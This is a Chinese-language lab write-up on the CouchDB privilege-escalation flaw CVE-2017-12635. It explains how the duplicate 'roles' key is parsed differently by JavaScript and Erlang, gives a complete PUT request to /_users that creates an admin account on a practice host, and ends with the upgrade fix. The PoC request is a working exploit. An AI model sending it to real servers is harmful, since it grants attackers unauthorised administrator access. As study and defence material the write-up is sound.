CouchDB垂直越权漏洞(CVE-2017-12635)
框架介绍:
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)
环境搭建:
采用在线环境 地址
漏洞分析:
主要关注改包的过程,所发送的post数据为
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}
其中有两个roles参数,JavaScript在解析式会把
“roles”: ["_admin"],
“roles”:[],
解析成为
“roles”:[]
那就意味着JavaScript在检测时,检测我们创建的用户角色=0,无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测,接下来在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是"roles": ["_admin"],所以创建出了具有admin权限的账户
漏洞复现:
访问首页
burp进行抓包,构造poc
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: vulfocus.fofa.so:27922
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 104
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}
看到用户创建成功
访问ip/_utils,看到我们创建的用户
漏洞防御:
根据官方升级包,升级到CouchDB 1.7.1或 2.1.1